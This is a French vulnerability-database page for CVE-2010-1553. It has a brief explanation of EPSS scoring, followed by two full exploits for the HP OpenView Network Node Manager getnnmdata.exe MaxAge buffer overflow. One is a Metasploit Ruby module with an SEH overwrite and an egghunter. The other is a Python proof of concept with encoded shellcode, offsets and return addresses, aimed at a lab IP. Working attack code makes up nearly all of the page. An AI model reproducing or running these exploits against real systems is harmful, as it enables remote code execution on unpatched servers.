CVE-2010-1553 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: hp_nnm_getnnmdata_maxage.rb 12121 2011-03-24 00:49:33Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (MaxAge) CGI Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53. By sending specially crafted MaxAge parameter to the getnnmdata.exe CGI, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12121 $', 'References' => [ [ 'CVE', '2010-1553' ], [ 'OSVDB', '64976' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 750, 'BadChars' => "\x00", 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'DisableNops' => 'True', 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7591, 'Ret' => 0x5a01f277 } ], [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2054, 'Ret' => 0x5a666d69 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 11 2010')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit egg = rand_text_alpha_upper(4) hunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" boom = rand_text_alpha_upper(target['Offset']) boom << generate_seh_record(target.ret) boom << hunter + egg + egg boom << payload.encoded boom << rand_text_alpha_upper(9024 - payload.encoded.length) sploit = "SnmpVals=&MaxAge=#{boom}" print_status("Trying target #{target.name}...") send_request_cgi({ 'uri' => '/OvCgi/getnnmdata.exe', 'method' => 'POST', 'data' => sploit }, 8) handler end end

# Exploit Title: HP OpenView NNM getnnmdata.exe CGI Invalid MaxAge Remote Code Execution # Date: 2010.07.02 # Author: S2 Crew [Hungary] # Software Link: hp.com # Version: 7.53 # Tested on: Windows 2003 # CVE: CVE-2010-1553 # Code : #!/usr/bin/python import struct import socket import httplib import urllib # calc.exe Windows Execute Command sc2 = ( "\x89\xe7\xdb\xc4\xd9\x77\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4a\x48\x4c\x49\x47\x70\x43\x30\x45\x50\x51\x70\x4f\x79" "\x4d\x35\x50\x31\x4b\x62\x43\x54\x4e\x6b\x51\x42\x46\x50\x4e" "\x6b\x50\x52\x46\x6c\x4e\x6b\x51\x42\x46\x74\x4c\x4b\x43\x42" "\x47\x58\x46\x6f\x4f\x47\x42\x6a\x46\x46\x44\x71\x4b\x4f\x44" "\x71\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x46\x62\x44\x6c" "\x45\x70\x4f\x31\x48\x4f\x44\x4d\x47\x71\x4a\x67\x4a\x42\x4c" "\x30\x43\x62\x46\x37\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x42\x62" "\x45\x6c\x45\x51\x4e\x30\x4c\x4b\x47\x30\x50\x78\x4e\x65\x4b" "\x70\x43\x44\x43\x7a\x43\x31\x4a\x70\x46\x30\x4e\x6b\x51\x58" "\x42\x38\x4c\x4b\x46\x38\x47\x50\x43\x31\x4b\x63\x4b\x53\x47" "\x4c\x42\x69\x4c\x4b\x45\x64\x4c\x4b\x45\x51\x4a\x76\x46\x51" "\x4b\x4f\x45\x61\x49\x50\x4c\x6c\x4a\x61\x48\x4f\x44\x4d\x45" "\x51\x4a\x67\x47\x48\x4b\x50\x44\x35\x4b\x44\x44\x43\x43\x4d" "\x4a\x58\x47\x4b\x43\x4d\x51\x34\x51\x65\x4d\x32\x42\x78\x4c" "\x4b\x43\x68\x47\x54\x47\x71\x4a\x73\x51\x76\x4c\x4b\x46\x6c" "\x50\x4b\x4e\x6b\x42\x78\x45\x4c\x45\x51\x49\x43\x4c\x4b\x47" "\x74\x4e\x6b\x47\x71\x4e\x30\x4d\x59\x47\x34\x46\x44\x44\x64" "\x51\x4b\x43\x6b\x50\x61\x42\x79\x42\x7a\x50\x51\x49\x6f\x49" "\x70\x43\x68\x51\x4f\x51\x4a\x4e\x6b\x45\x42\x4a\x4b\x4d\x56" "\x43\x6d\x50\x6a\x47\x71\x4c\x4d\x4c\x45\x4e\x59\x45\x50\x45" "\x50\x45\x50\x50\x50\x43\x58\x45\x61\x4e\x6b\x42\x4f\x4b\x37" "\x4b\x4f\x4a\x75\x4d\x6b\x4c\x30\x4c\x75\x49\x32\x42\x76\x50" "\x68\x4d\x76\x4a\x35\x4f\x4d\x4f\x6d\x4b\x4f\x49\x45\x47\x4c" "\x43\x36\x51\x6c\x45\x5a\x4b\x30\x49\x6b\x4b\x50\x43\x45\x45" "\x55\x4d\x6b\x42\x67\x47\x63\x51\x62\x42\x4f\x50\x6a\x45\x50" "\x51\x43\x4b\x4f\x4b\x65\x45\x33\x43\x51\x50\x6c\x45\x33\x46" "\x4e\x43\x55\x51\x68\x50\x65\x43\x30\x45\x5a\x41\x41" ) egghunter = ( "\x89\xe1\xda\xd7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x50\x66\x4f\x71\x4b\x7a\x49\x6f\x46\x6f\x50\x42\x51\x42\x43" "\x5a\x45\x52\x43\x68\x48\x4d\x46\x4e\x45\x6c\x47\x75\x42\x7a" "\x44\x34\x48\x6f\x4e\x58\x42\x74\x50\x30\x46\x50\x42\x77\x4c" "\x4b\x4a\x5a\x4e\x4f\x43\x45\x4a\x4a\x4c\x6f\x43\x45\x4a\x47" "\x49\x6f\x4b\x57\x41\x41" ) ret = struct.pack('<L',0x5A667A77) # ppr jmp = "\x74\x21\x44\x44" p = 'Topo=X&SnmpLastVal=X&MaxAge='+'A'*2054 + jmp + ret + 'B' * 30 + egghunter h = {"Content-Type": "application/x-www-form-urlencoded","Host":"172.16.29.149","User-Agent":"T00WT00W"+sc2} c = httplib.HTTPConnection('172.16.29.149') c.request("POST","/OvCgi/getnnmdata.exe",p,h) r = c.getresponse() print r.status, r.reason data = r.read() print data c.close() print "\nDone\n"